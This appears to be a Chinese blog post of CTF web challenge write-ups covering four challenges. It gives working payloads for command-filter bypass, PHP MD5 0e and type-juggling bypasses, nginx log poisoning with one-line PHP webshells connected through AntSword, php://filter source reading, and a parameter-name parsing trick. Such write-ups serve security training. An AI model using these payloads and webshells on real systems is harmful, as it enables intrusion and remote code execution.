【无标题】

1.[MoeCTF 2021]babyRCE

 代码审计,rce,没有过滤ls,直接传参?rce=ls

 有flag.php,直接cat命令打开

构造:?rce=c\at${IFS}fl\ag.php

打开源代码

 也可以用tac命令

?rce=ta\c%09f\lag.php

可以直接打印出来

2.[SWPUCTF 2022 新生赛]funny_php

 <?php
    session_start();
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }
    if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    }
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    }
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
        include('flag.php');
        echo $flag;
    }

    
?>

审计代码

GET传参num,检查是否存在,并且字符是否小于等于3,大于999999999

 如果成立,则输出D,到达下一关,使用科学计数法,构造?num=9e9

 GET传参str,正则匹配了NSSCTF,需要str等于NSSCTF

用双写绕过

构造:?num=9e9&str=NSSNSSCTFCTF

 post传参md5_1和md5_2

两个都需要是字符串,那么数组就不可以使用,需要md5_1,md5_2的值不一样,但是二者的MD5值一样,0e绕过

构造:md5_1=s155964671a&md5_2=s878926199a

涉及科学记数法绕过,双写绕过,0e绕过

3.[HNCTF 2022 WEEK2]easy_include

 GET传参file,尝试/etc/passwd,

进过搜索后, nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin

有日志包含漏洞

apache服务器日志存放文件位置:/var/log/apache/access.log

nginx服务器日志存放位置:/var/log/nginx/access.log和/var/log/nginx/error.log

所以,构造:?file=/var/log/nginx/access.log

nginx服务器,可以看到回显的是ua报文头,同理,我们在ua头构造一句话木马 .

抓包,写入一句话木马:<?php system('ls /');?>

需要点击两次发送,第一次是写入木马,第二次是执行木马

接着就可以用cat命令读取flag

 涉及nginx服务器日志包含漏洞,可在回显出写入一句话木马。

当然一句话木马也可以写:

<?php eval($_POST['cmd']); ?>

传入成功后链接蚁剑

url :http://node5.anna.nssctf.cn:20241/?file=/var/log/nginx/access.log

密码:cmd

4.[NSSRound#8 Basic]MyDoor

进去后是一个空白页面,但有file参数

使用伪协议读取index.php的 内容

构造:?file=php://filter/convert.base64-encode/resource=index.php

得到:

PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCg0KaWYgKGlzc2V0KCRfR0VUWydOX1MuUyddKSkgew0KICAgIGV2YWwoJF9HRVRbJ05fUy5TJ10pOw0KfQ0KDQppZighaXNzZXQoJF9HRVRbJ2ZpbGUnXSkpIHsNCiAgICBoZWFkZXIoJ0xvY2F0aW9uOi9pbmRleC5waHA/ZmlsZT0nKTsNCn0gZWxzZSB7DQogICAgJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KDQogICAgaWYgKCFwcmVnX21hdGNoKCcvXC5cLnxsYXxkYXRhfGlucHV0fGdsb2J8Z2xvYmFsfHZhcnxkaWN0fGdvcGhlcnxmaWxlfGh0dHB8cGhhcnxsb2NhbGhvc3R8XD98XCp8XH58emlwfDd6fGNvbXByZXNzL2lzJywgJGZpbGUpKSB7DQogICAgICAgIGluY2x1ZGUgJGZpbGU7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZGllKCdlcnJvci4nKTsNCiAgICB9DQp9

解码:

<?php
error_reporting(0);

if (isset($_GET['N_S.S'])) {
    eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include $file;
    } else {
        die('error.');
    }
}

发现还有一个参数N_S.S

但是不能够直接这样传参,需要用[代替

根据php解析特性,如果字符串中存在[、.等符号,php会将其转换为_且只转换一次,因此我们直接构造的话N_S.S,最后php执行的是N_S_S,因此我们将前面的_用[代替

当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

所以构造:?N[S.S=phpinfo();

查看配置信息,里面匹配到flag

涉及到filter协议读取index.php源码,php非法传参

相关推荐

  1. 标题

    2024-06-08 00:28:03       47 阅读
  2. 标题

    2024-06-08 00:28:03       44 阅读
  3. 标题

    2024-06-08 00:28:03       42 阅读
  4. 标题

    2024-06-08 00:28:03       49 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-06-08 00:28:03       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-08 00:28:03       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-08 00:28:03       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-08 00:28:03       20 阅读

热门阅读

  1. 行列视(RCV)系统由哪几部分组成?

    2024-06-08 00:28:03       9 阅读
  2. Log4j日志级别介绍

    2024-06-08 00:28:03       7 阅读
  3. 数据结构:哈夫曼树及其哈夫曼编码

    2024-06-08 00:28:03       7 阅读
  4. 区块链技术的应用场景和优势

    2024-06-08 00:28:03       8 阅读
  5. 九天毕昇深度学习平台 | TensorBoard使用

    2024-06-08 00:28:03       11 阅读